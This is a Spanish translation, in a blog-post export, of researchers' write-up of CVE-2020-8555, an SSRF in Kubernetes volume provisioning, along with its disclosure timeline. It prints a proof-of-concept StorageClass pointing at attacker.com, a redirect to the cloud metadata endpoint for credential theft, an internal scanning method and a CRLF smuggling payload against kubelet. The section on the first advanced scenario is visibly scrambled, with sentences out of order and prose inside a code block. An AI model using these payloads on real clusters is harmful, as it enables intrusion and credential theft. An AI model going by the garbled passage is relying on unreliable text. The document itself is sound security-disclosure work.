{"id":86623,"date":"2020-06-27T19:42:40","date_gmt":"2020-06-27T17:42:40","guid":{"rendered":"https:\/\/prohoster.info\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes"},"modified":"2020-06-27T19:42:40","modified_gmt":"2020-06-27T17:42:40","slug":"kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","status":"publish","type":"post","link":"https:\/\/prohoster.info\/es\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","title":{"rendered":"Cuando no se trata solo de vulnerabilidades en Kubernetes...","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>Nota de traducci\u00f3n.<\/b>: los autores de este art\u00edculo explican en detalle c\u00f3mo lograron descubrir una vulnerabilidad <noindex><a rel=\"nofollow\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex> en Kubernetes. Aunque inicialmente no parec\u00eda muy peligrosa, combinada con otros factores, su criticidad result\u00f3 ser m\u00e1xima para algunos proveedores de la nube. El trabajo realizado fue generosamente recompensado por varias organizaciones.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"Cuando no se trata solo de vulnerabilidades en Kubernetes...\" src=\"\/wp-content\/uploads\/2020\/06\/95f376b0e06a5454be2423bdab37f2ce.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h2>\u00bfQui\u00e9nes somos?<\/h2>\n<p>\nSomos dos investigadores franceses en el campo de la seguridad que descubrieron conjuntamente una vulnerabilidad en Kubernetes. Nos llamamos Brice Augras y Christophe Hauquiert, pero en muchas plataformas de Bug Bounty somos conocidos como Reeverzax y Hach, respectivamente:<\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/reeverzax\">Brice Augras<\/a><\/noindex> \u2014 <noindex><a rel=\"nofollow\" href=\"https:\/\/www.groupe-asten.fr\/\">Groupe Asten Company<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/hach\">Christophe Hauquiert<\/a><\/noindex> \u2014 arquitecto de Kubernetes en Nokia.<\/li>\n<\/ul>\n<p><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<h2>\u00bfQu\u00e9 sucedi\u00f3?<\/h2>\n<p>\nEste art\u00edculo es nuestra manera de contar c\u00f3mo un proyecto de investigaci\u00f3n ordinario se convirti\u00f3 inesperadamente en la aventura m\u00e1s emocionante de la vida de los cazadores de bugs (al menos, hasta ahora).<\/p>\n<p>Como probablemente ya saben, los cazadores de bugs tienen un par de caracter\u00edsticas notables:<\/p>\n<ul>\n<li> viven de pizzas y cervezas;<\/li>\n<li> trabajan cuando los dem\u00e1s duermen.<\/li>\n<\/ul>\n<p>\nNo somos una excepci\u00f3n a estas reglas: normalmente nos reunimos los fines de semana y pasamos noches insomnes de hacking. Pero una de esas noches termin\u00f3 de manera bastante inusual.<\/p>\n<p>Inicialmente planeamos encontrarnos para discutir nuestra participaci\u00f3n en <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Capture_the_flag#Computer_security\">CTF<\/a><\/noindex> al d\u00eda siguiente. Durante una conversaci\u00f3n sobre la seguridad de Kubernetes en un entorno de servicio administrado, recordamos una antigua idea de SSRF (<noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Server-side_request_forgery\">Server-Side Request Forgery<\/a><\/noindex>) y decidimos intentar usarla como un escenario de ataque.<\/p>\n<p>A las 11 de la noche comenzamos a investigar y nos fuimos a dormir temprano por la ma\u00f1ana, bastante satisfechos con los resultados. Fue gracias a estas investigaciones que nos encontramos con el programa de Bug Bounty de MSRC y pensamos en un exploit de escalaci\u00f3n de privilegios.<\/p>\n<p>Pasaron unas semanas\/meses, y nuestro resultado inesperado nos permiti\u00f3 obtener una de las recompensas m\u00e1s altas en la historia de Azure Cloud Bug Bounty, adem\u00e1s de la que recibimos de Kubernetes.<\/p>\n<p>Basado en nuestro proyecto de investigaci\u00f3n, el comit\u00e9 de Kubernetes Product Security Committee public\u00f3 <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex>.<\/p>\n<p>Ahora nos gustar\u00eda difundir la informaci\u00f3n sobre la vulnerabilidad encontrada. \u00a1Esperamos que aprecien el hallazgo y compartan los detalles t\u00e9cnicos con otros miembros de la comunidad infosec!<\/p>\n<p>As\u00ed que, aqu\u00ed est\u00e1 nuestra historia\u2026<\/p>\n<h2>Contexto<\/h2>\n<p>\nPara transmitir completamente el sentido de lo ocurrido, primero examinemos c\u00f3mo funciona Kubernetes en un entorno gestionado en la nube.<\/p>\n<p>Cuando creas una instancia de un cl\u00faster de Kubernetes en tal entorno, el proveedor de servicios en la nube generalmente se encarga de la capa de control:<\/p>\n<p><img decoding=\"async\" alt=\"Cuando no se trata solo de vulnerabilidades en Kubernetes...\" src=\"\/wp-content\/uploads\/2020\/06\/c562ba625208180d495068ec46055a07.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>La capa de control se sit\u00faa en el per\u00edmetro del proveedor de la nube, mientras que los nodos de Kubernetes est\u00e1n en el per\u00edmetro del cliente.<\/i><\/p>\n<p>Para la asignaci\u00f3n din\u00e1mica de vol\u00famenes, se utiliza un mecanismo de provisi\u00f3n din\u00e1mica desde un backend de almacenamiento externo y su mapeo con PVC (persistent volume claim, es decir, solicitud de volumen).<\/p>\n<p>As\u00ed, despu\u00e9s de que se crea PVC y se asocia con el StorageClass en el cl\u00faster K8s, el kube\/cloud controller manager se encarga de las siguientes acciones para proporcionar el volumen (su nombre exacto depende de la versi\u00f3n). <i>(<b>Nota de traducci\u00f3n.<\/b>: Ya hemos escrito sobre el CCM con un ejemplo de su implementaci\u00f3n para uno de los proveedores de la nube. <noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/490356\/\">aqu\u00ed<\/a><\/noindex>.)<\/i><\/p>\n<p>Existen varias variedades de provisioners compatibles con Kubernetes: la mayor\u00eda de ellas est\u00e1n incluidas en <noindex><a rel=\"nofollow\" href=\"https:\/\/kubernetes.io\/docs\/concepts\/storage\/storage-classes\/#provisioner\">el n\u00facleo del orquestador,<\/a><\/noindex>, mientras que otras son gestionadas por provisioners adicionales que se ejecutan en pods en el cl\u00faster.<\/p>\n<p>En nuestra investigaci\u00f3n nos enfocamos en el mecanismo interno de provisi\u00f3n de vol\u00famenes, el cual se ilustra a continuaci\u00f3n:<\/p>\n<p><img decoding=\"async\" alt=\"Cuando no se trata solo de vulnerabilidades en Kubernetes...\" src=\"\/wp-content\/uploads\/2020\/06\/3056d943a6f41ebc71fe9e7852bf4530.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>La provisi\u00f3n din\u00e1mica de vol\u00famenes utilizando el provisioner incorporado de Kubernetes<\/i><\/p>\n<p>En resumen, cuando Kubernetes se despliega en un entorno gestionado, el proveedor de servicios en la nube se encarga del trabajo del controller manager, pero la solicitud para crear el volumen (n\u00famero 3 en el esquema anterior) sale de los l\u00edmites de la red interna del proveedor de nube. \u00a1Y aqu\u00ed es donde se pone realmente interesante!<\/p>\n<h2>Escenario de hackeo<\/h2>\n<p>\nEn esta secci\u00f3n, explicaremos c\u00f3mo aprovechamos el flujo de trabajo mencionado anteriormente para acceder a los recursos internos del proveedor de la nube. Adem\u00e1s, se mostrar\u00e1 c\u00f3mo se pueden realizar ciertas acciones, como obtener credenciales internas o llevar a cabo una escalada de privilegios.<\/p>\n<p>Una simple manipulaci\u00f3n (en este caso, un Service Side Request Forgery) ayud\u00f3 a salir de los l\u00edmites del entorno del cliente en cl\u00fasteres de diferentes proveedores de servicios gestionados de K8s.<\/p>\n<p>En nuestras investigaciones, nos enfocamos en el provisioner GlusterFS. Aunque la secuencia de acciones posteriores se describe en este contexto, esta misma vulnerabilidad afecta a Quobyte, StorageOS y ScaleIO.<\/p>\n<p><img decoding=\"async\" alt=\"Cuando no se trata solo de vulnerabilidades en Kubernetes...\" src=\"\/wp-content\/uploads\/2020\/06\/f604aa1880c0edd5efe52a3362d6929d.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Abuso del mecanismo de provisi\u00f3n din\u00e1mica de vol\u00famenes<\/i><\/p>\n<p>Durante el an\u00e1lisis de la clase de almacenamiento <b>GlusterFS<\/b> en el c\u00f3digo fuente del cliente en Golang encontramos <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">se not\u00f3<\/a><\/noindex>, que en la primera solicitud HTTP (3), enviada durante la creaci\u00f3n del volumen, hacia el final de la URL del usuario en el par\u00e1metro <code>resturl<\/code> que al contenedor normal. <code>\/volumes<\/code>.<\/p>\n<p>Decidimos eliminar esta ruta adicional a\u00f1adiendo <code>#<\/code> al par\u00e1metro <code>resturl<\/code>. Esta es la primera configuraci\u00f3n YAML que utilizamos para verificar la vulnerabilidad SSRF \u00absemi-ciega\u00bb <i>(se puede leer m\u00e1s sobre SSRF semi-ciego o half-blind, por ejemplo, <noindex><a rel=\"nofollow\" href=\"https:\/\/blog.securityinnovation.com\/the-many-faces-of-ssrf\">aqu\u00ed<\/a><\/noindex> \u2014 nota del traductor)<\/i>:<\/p>\n<pre><code class=\"plaintext\">apiVersion: storage.k8s.io\/v1\nkind: StorageClass\nmetadata:\n  name: poc-ssrf\nprovisioner: kubernetes.io\/glusterfs\nparameters:\n  resturl: \"http:\/\/attacker.com:6666\/#\"\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: poc-ssrf\nspec:\n  accessModes:\n  - ReadWriteOnce\n  volumeMode: Filesystem\n  resources:\n    requests:\n      storage: 8Gi\n  storageClassName: poc-ssrf<\/code><\/pre>\n<p>\nLuego, utilizamos el binario <b>kubectl<\/b>. Por lo general, los proveedores de nube (Azure, Google, AWS, etc.) permiten obtener credenciales para su uso en esta utilidad.<\/p>\n<p>Gracias a esto, pudimos aplicar nuestro archivo 'especial'. El kube-controller-manager realiz\u00f3 la solicitud HTTP resultante:<\/p>\n<pre><code class=\"bash\">kubectl create -f sc-poc.yaml<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Cuando no se trata solo de vulnerabilidades en Kubernetes...\" src=\"\/wp-content\/uploads\/2020\/06\/c520fcff82519a1f7bb3fd2bdc6b79e0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Respuesta desde la perspectiva del atacante<\/i><\/p>\n<p>Poco despu\u00e9s, tambi\u00e9n pudimos recibir una respuesta HTTP del servidor objetivo, a trav\u00e9s de los comandos <code>describe pvc<\/code> o <code>get events<\/code> en kubectl. Y en efecto: este controlador de Kubernetes es demasiado comunicativo en sus advertencias\/mensajes de error por defecto...<\/p>\n<p>Aqu\u00ed hay un ejemplo con un enlace a <code>https:\/\/www.google.fr<\/code>, establecido como par\u00e1metro <code>resturl<\/code>:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc poc-ssrf\n# o bien pueden usar kubectl get events<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Cuando no se trata solo de vulnerabilidades en Kubernetes...\" src=\"\/wp-content\/uploads\/2020\/06\/1b859d606de4bd6ed8114024f84e4799.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nEn el marco de este enfoque, estuvimos limitados a solicitudes del tipo <b>HTTP POST<\/b> y no pudimos obtener el contenido del cuerpo de la respuesta, si el c\u00f3digo devuelto era <b>201<\/b>. Por lo tanto, decidimos llevar a cabo investigaciones adicionales y expandimos este escenario de ataque con nuevos enfoques.<\/p>\n<h2>Evoluci\u00f3n de nuestras investigaciones<\/h2>\n<p><\/p>\n<ul>\n<li> Escenario avanzado #1: uso de redirecci\u00f3n 302 desde un servidor externo para cambiar el m\u00e9todo HTTP y obtener una forma m\u00e1s flexible de recopilar datos internos.<\/li>\n<li> Escenario avanzado #2: automatizaci\u00f3n del escaneo de LAN y descubrimiento de recursos internos.<\/li>\n<li> Escenario avanzado n.\u00ba 3: uso de HTTP CRLF + smuggling (\"contrabando\" de solicitudes) para crear solicitudes HTTP personalizadas y obtener datos extra\u00eddos de los registros del kube-controller.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Especificaciones t\u00e9cnicas<\/h3>\n<p><\/p>\n<ul>\n<li> En las investigaciones se utiliz\u00f3 Azure Kubernetes Service (AKS) con Kubernetes versi\u00f3n 1.12 en la regi\u00f3n North Europe.<\/li>\n<li> Los escenarios descritos anteriormente se ejecutaron en las \u00faltimas versiones de Kubernetes, excepto el tercer escenario, ya que este requer\u00eda Kubernetes compilado con Golang versi\u00f3n \u2264 1.12.<\/li>\n<li> Servidor externo del atacante \u2014 <code>https:\/\/attacker.com<\/code>.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Escenario avanzado n.\u00ba 1: redirecci\u00f3n de solicitud HTTP POST a GET y obtenci\u00f3n de datos confidenciales<\/h3>\n<p>\nLa forma original se mejor\u00f3 con la configuraci\u00f3n del servidor del atacante para que devolviera <b>C\u00f3digo de retorno HTTP 302<\/b>, para convertir la solicitud POST en una solicitud GET (paso 4 en el esquema):<\/p>\n<p><img decoding=\"async\" alt=\"Cuando no se trata solo de vulnerabilidades en Kubernetes...\" src=\"\/wp-content\/uploads\/2020\/06\/2b8d0a7dfdc2df8e674acfc82a4cd070.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nLa primera solicitud (3), que sale del cliente <b>GlusterFS<\/b> (Controller Manager), es de tipo POST. Al seguir los pasos siguientes, pudimos transformarla en GET:<\/p>\n<ul>\n<li> Como par\u00e1metro <code>resturl<\/code> en la StorageClass se especifica <code>http:\/\/attacker.com\/redirect.php<\/code>.<\/li>\n<li> El endpoint responde con el c\u00f3digo de estado 302 HTTP con el siguiente encabezado Location: <code>https:\/\/attacker.com\/redirect.php<\/code> responde con el c\u00f3digo de estado 302 HTTP con el siguiente Location Header: <code>http:\/\/169.254.169.254<\/code>la biblioteca net\/http<\/li>\n<li> funciona hasta que se finalice manualmente. Por lo tanto, puede ser \u00fatil la opci\u00f3n <b>de Golang redirige la solicitud y convierte POST en GET con el c\u00f3digo de estado 302, lo que resulta en que se env\u00eda una solicitud HTTP GET al recurso de destino.<\/b> Golang redirige la solicitud y convierte POST en GET con el c\u00f3digo de estado 302, resultando en una solicitud HTTP GET al recurso objetivo.<\/li>\n<\/ul>\n<p>\nel objeto PVC: <code>describe<\/code> kubectl describe pvc xxx<\/p>\n<pre><code class=\"bash\">Aqu\u00ed hay un ejemplo de respuesta HTTP en formato JSON que logramos obtener:<\/code><\/pre>\n<p>\nLas capacidades de la vulnerabilidad encontrada en ese momento eran limitadas debido a los siguientes aspectos:<\/p>\n<p><img decoding=\"async\" alt=\"Cuando no se trata solo de vulnerabilidades en Kubernetes...\" src=\"\/wp-content\/uploads\/2020\/06\/d2f76aec3ac9d31c99426551d77fc969.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nLa imposibilidad de insertar encabezados HTTP en la solicitud saliente.<\/p>\n<ul>\n<li> La imposibilidad de realizar una solicitud POST con par\u00e1metros en el cuerpo (ya que es conveniente solicitar el valor de la clave de una instancia etcd que est\u00e9 funcionando en<\/li>\n<li> el puerto, si se utiliza HTTP sin cifrado). <b>2379<\/b> La imposibilidad de obtener el contenido del cuerpo de la respuesta cuando el c\u00f3digo de estado era 200 y la respuesta no ten\u00eda Content-Type de tipo JSON.<\/li>\n<li> Escenario avanzado n.\u00ba 2: escaneo de red local<\/li>\n<\/ul>\n<p><\/p>\n<h3>Este m\u00e9todo SSRF half-blind se utiliz\u00f3 luego para escanear la red interna del proveedor de servicios en la nube y encuestar varios servicios escuchando (instancia de Metadata, Kubelet, etcd, etc.) bas\u00e1ndose en las respuestas<\/h3>\n<p>\ndel kube controller. <b>kube controller<\/b>.<\/p>\n<p><img decoding=\"async\" alt=\"Cuando no se trata solo de vulnerabilidades en Kubernetes...\" src=\"\/wp-content\/uploads\/2020\/06\/08b681f9a673e335a1955b08b0bddc9a.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nPrimero se definieron los puertos de escucha est\u00e1ndar de los componentes de Kubernetes (8443, 10250, 10251, etc.), y luego fue necesario automatizar el proceso de escaneo.<\/p>\n<p>Viendo que este m\u00e9todo de escaneo de recursos es muy espec\u00edfico y no es compatible con esc\u00e1neres cl\u00e1sicos y herramientas SSRF, decidimos crear nuestros propios workers en un script bash que automatizan todo el proceso.<\/p>\n<p>Por ejemplo, para escanear m\u00e1s r\u00e1pidamente el rango 172.16.0.0\/12 de la red interna, se lanzaron 15 workers en paralelo. El rango de IP mencionado anteriormente se eligi\u00f3 \u00fanicamente como un ejemplo y puede ser cambiado por un rango de IP de un proveedor espec\u00edfico.<\/p>\n<p>Para escanear una direcci\u00f3n IP y un puerto, se debe hacer lo siguiente:<\/p>\n<ul>\n<li> eliminar el StorageClass verificado la \u00faltima vez;<\/li>\n<li> eliminar el Persistent Volume Claim verificado anteriormente;<\/li>\n<li> cambiar los valores de IP y Port en <code>sc.yaml<\/code>;<\/li>\n<li> crear un StorageClass con nueva IP y puerto;<\/li>\n<li> crear un nuevo PVC;<\/li>\n<li> extraer resultados del escaneo utilizando describe para PVC.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Escenario avanzado N\u00ba3: inyecci\u00f3n CRLF + smuggling HTTP en versiones \"antiguas\" del cl\u00faster de Kubernetes<\/h3>\n<p>\nSi adem\u00e1s de esto el proveedor ofrec\u00eda a los clientes versiones antiguas del cl\u00faster K8s <b>y<\/b> y les daba acceso a los logs del kube-controller-manager, el efecto se volv\u00eda a\u00fan m\u00e1s significativo.<\/p>\n<p>Para el atacante, resulta mucho m\u00e1s conveniente modificar a su antojo las solicitudes HTTP destinadas a obtener la respuesta HTTP completa.<\/p>\n<p><img decoding=\"async\" alt=\"Cuando no se trata solo de vulnerabilidades en Kubernetes...\" src=\"\/wp-content\/uploads\/2020\/06\/226ea08521a7bdf79cff1e550dda8f67.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nPara implementar el \u00faltimo escenario, deb\u00edan cumplirse las siguientes condiciones:<\/p>\n<ul>\n<li> El usuario debe tener acceso a los logs del kube-controller-manager (como, por ejemplo, en Azure LogInsights).<\/li>\n<li> El cl\u00faster de Kubernetes debe utilizar una versi\u00f3n de Golang inferior a 1.12.<\/li>\n<\/ul>\n<p>\nDesplegamos un entorno local que simula el intercambio de datos entre el cliente Go de GlusterFS y un servidor objetivo falso (nos abstendremos de publicar el PoC por ahora).<\/p>\n<p>Se detect\u00f3 <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">vulnerabilidad<\/a><\/noindex>, que afecta a versiones de Golang inferiores a 1.12 y permit\u00eda a los hackers llevar a cabo ataques de tipo HTTP smuggling\/CRLF.<\/p>\n<p>Al combinar el SSRF a ciegas que se describi\u00f3 anteriormente <b>juntos<\/b> con esto, pudimos enviar solicitudes a nuestro gusto, incluyendo la sustituci\u00f3n de encabezados, m\u00e9todo HTTP, par\u00e1metros y datos que el kube-controller-manager luego procesaba.<\/p>\n<p>Aqu\u00ed hay un ejemplo de un \"cebo\" funcional en el par\u00e1metro <code>resturl<\/code> StorageClass que implementa un escenario de ataque similar:<\/p>\n<pre><code class=\"plaintext\">http:\/\/172.31.X.1:10255\/healthz? HTTP\/1.1rnConnection: keep-\nalivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET \/pods? HTTP\/1.1rnHost: 172.31.X.1:10255rnrn<\/code><\/pre>\n<p>\nComo resultado, se produce un error <b>respuesta no solicitada<\/b>, mensaje que se registra en los logs del controlador. Gracias a la 'verbose' activada por defecto, tambi\u00e9n se almacena el contenido de la respuesta HTTP.<\/p>\n<p><img decoding=\"async\" alt=\"Cuando no se trata solo de vulnerabilidades en Kubernetes...\" src=\"\/wp-content\/uploads\/2020\/06\/babd247c620ab19c7b5fc801683c03de.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nEsta fue nuestra 'estrategia' m\u00e1s efectiva dentro del proof of concept.<\/p>\n<p>Utilizando este enfoque, pudimos llevar a cabo algunos de los siguientes ataques en clusters de diferentes proveedores de k8s gestionados: escalaci\u00f3n de privilegios obteniendo credenciales en instancias de metadata, DoS del maestro usando solicitudes HTTP (no cifradas) en las instancias maestras de etcd, etc.<\/p>\n<h2>Consecuencias<\/h2>\n<p>\nEn la declaraci\u00f3n oficial de Kubernetes sobre la vulnerabilidad SSRF que descubrimos, se le asign\u00f3 una calificaci\u00f3n <b>CVSS 6.3\/10<\/b>: CVSS:3.0\/AV:N\/AC:H\/PR:L\/UI:N\/S:C\/C:H\/I:N\/A:N. Si consideramos solo la vulnerabilidad relacionada con el per\u00edmetro de Kubernetes, el vector de integridad <i>(integrity vector)<\/i> se califica como <b>None<\/b>.<\/p>\n<p>Sin embargo, la evaluaci\u00f3n de las posibles consecuencias en el contexto de un entorno de servicio gestionado (\u00a1y esta fue la parte m\u00e1s interesante de nuestra investigaci\u00f3n!) nos llev\u00f3 a reclasificar la vulnerabilidad con la calificaci\u00f3n <b>Cr\u00edtica CVSS10\/10<\/b> para muchos distribuidores.<\/p>\n<p>A continuaci\u00f3n se presenta informaci\u00f3n adicional que ayudar\u00e1 a comprender los criterios que utilizamos para evaluar las posibles consecuencias en entornos de nube:<\/p>\n<h3>Integridad<\/h3>\n<p><\/p>\n<ul>\n<li> Ejecuci\u00f3n remota de comandos usando credenciales internas obtenidas.<\/li>\n<li> Reproducci\u00f3n del escenario descrito utilizando el m\u00e9todo IDOR (Insecure Direct Object Reference, es decir, referencias directas inseguras a objetos) con otros recursos encontrados en la red local.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Privacidad<\/h3>\n<p><\/p>\n<ul>\n<li> Ataque tipo <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Network_Lateral_Movement\">Movimiento Lateral<\/a><\/noindex> gracias al robo de credenciales en la nube (por ejemplo, metadata API).<\/li>\n<li> Recolecci\u00f3n de informaci\u00f3n mediante escaneo de red local (determinaci\u00f3n de versi\u00f3n de SSH, versi\u00f3n del servidor HTTP, \u2026).<\/li>\n<li> Recolecci\u00f3n de informaci\u00f3n sobre instancias e infraestructura mediante encuestas a APIs internas, como metadata API (<code>http:\/\/169.254.169.254<\/code>, \u2026).<\/li>\n<li> Robo de datos de clientes utilizando credenciales en la nube.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Disponibilidad<\/h3>\n<p>\nTodos los escenarios de explotaci\u00f3n relacionados con los vectores de ataque a <b>integridad (integrity)<\/b>, pueden ser utilizados para acciones destructivas y resultar en que las instancias maestras del per\u00edmetro del cliente (o de cualquier otro) est\u00e9n inalcanzables.<\/p>\n<p>Dado que est\u00e1bamos en un entorno gestionado de K8s y evaluando el impacto en la integridad, se pueden imaginar muchos escenarios capaces de afectar la disponibilidad. Como ejemplos adicionales, mencionamos la corrupci\u00f3n de la base de datos etcd o la realizaci\u00f3n de una llamada cr\u00edtica a la API de Kubernetes.<\/p>\n<h2>Cronolog\u00eda<\/h2>\n<p><\/p>\n<ul>\n<li> 6 de diciembre de 2019: env\u00edo de un aviso sobre una vulnerabilidad encontrada al programa de recompensas de errores de MSRC.<\/li>\n<li> 3 de enero de 2020: un tercero inform\u00f3 a los desarrolladores de Kubernetes que est\u00e1bamos trabajando en un problema de seguridad. Y les pidi\u00f3 que consideraran SSRF como una vulnerabilidad interna (in-core). Despu\u00e9s de esto, presentamos un informe general con detalles t\u00e9cnicos sobre el origen del problema.<\/li>\n<li> 15 de enero de 2020: proporcionamos a los desarrolladores de Kubernetes informes t\u00e9cnico y general a su solicitud (a trav\u00e9s de la plataforma HackerOne).<\/li>\n<li> 15 de enero de 2020: los desarrolladores de Kubernetes nos informaron que SSRF half-blind + inyecci\u00f3n CRLF para versiones pasadas se considera una vulnerabilidad in-core. Inmediatamente dejamos de analizar los per\u00edmetros de otros proveedores de servicios: la causa ra\u00edz ahora estaba siendo tratada por el equipo de K8s.<\/li>\n<li> 15 de enero de 2020: se recibi\u00f3 una recompensa de MSRC a trav\u00e9s de HackerOne.<\/li>\n<li> 16 de enero de 2020: el PSC de Kubernetes (Comit\u00e9 de Seguridad del Producto) reconoci\u00f3 la vulnerabilidad y pidi\u00f3 mantenerla en secreto hasta mediados de marzo debido al gran n\u00famero de posibles v\u00edctimas.<\/li>\n<li> 11 de febrero de 2020: se recibi\u00f3 una recompensa de Google VRP.<\/li>\n<li> 4 de marzo de 2020: se recibi\u00f3 una recompensa de Kubernetes a trav\u00e9s de HackerOne.<\/li>\n<li> 15 de marzo de 2020: la divulgaci\u00f3n p\u00fablica inicialmente programada se pospuso debido a la situaci\u00f3n de COVID-19.<\/li>\n<li> 1 de junio de 2020: declaraci\u00f3n conjunta de Kubernetes + Microsoft sobre la vulnerabilidad.<\/li>\n<\/ul>\n<p><\/p>\n<h2>TL;DR<\/h2>\n<p><\/p>\n<ul>\n<li> Estamos bebiendo cerveza y comiendo pizza \ud83d\ude42<\/li>\n<li> Descubrimos una vulnerabilidad in-core en Kubernetes, aunque no ten\u00edamos la intenci\u00f3n de hacerlo.<\/li>\n<li> Realizamos un an\u00e1lisis adicional en los cl\u00fasteres de varios proveedores de la nube y pudimos aumentar los da\u00f1os causados por la vulnerabilidad para obtener bonificaciones adicionales incre\u00edbles.<\/li>\n<li> En este art\u00edculo encontrar\u00e1s muchos detalles t\u00e9cnicos. Estaremos encantados de discutirlos contigo (Twitter: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/reeverzax\">@ReeverZax<\/a><\/noindex> &amp; <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/__hach_\">@__hach_<\/a><\/noindex>).<\/li>\n<li> Result\u00f3 que todas las formalidades y la elaboraci\u00f3n de informes toman mucho m\u00e1s tiempo de lo esperado.<\/li>\n<\/ul>\n<p><\/p>\n<h2>Enlaces<\/h2>\n<p><\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/groups.google.com\/g\/kubernetes-security-announce\">Grupo de Google kubernetes-security-announce<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020-8555<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">golang issue #30794<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">heketi\/client\/api\/go-client\/volume.go<\/a><\/noindex>.<\/li>\n<\/ul>\n<p><\/p>\n<h2>P.D. del traductor<\/h2>\n<p>\nTambi\u00e9n puedes leer en nuestro blog:<\/p>\n<ul>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/485838\/\">La caza de errores en Kubernetes est\u00e1 oficialmente abierta<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/466625\/\">Salida del pod en Kubernetes a trav\u00e9s del montaje de registros<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/465141\/\">33+ herramientas para la seguridad de Kubernetes<\/a><\/noindex>\u00bb.<\/li>\n<\/ul>\n<p>Fuente: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/508308\/\">habr.com<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 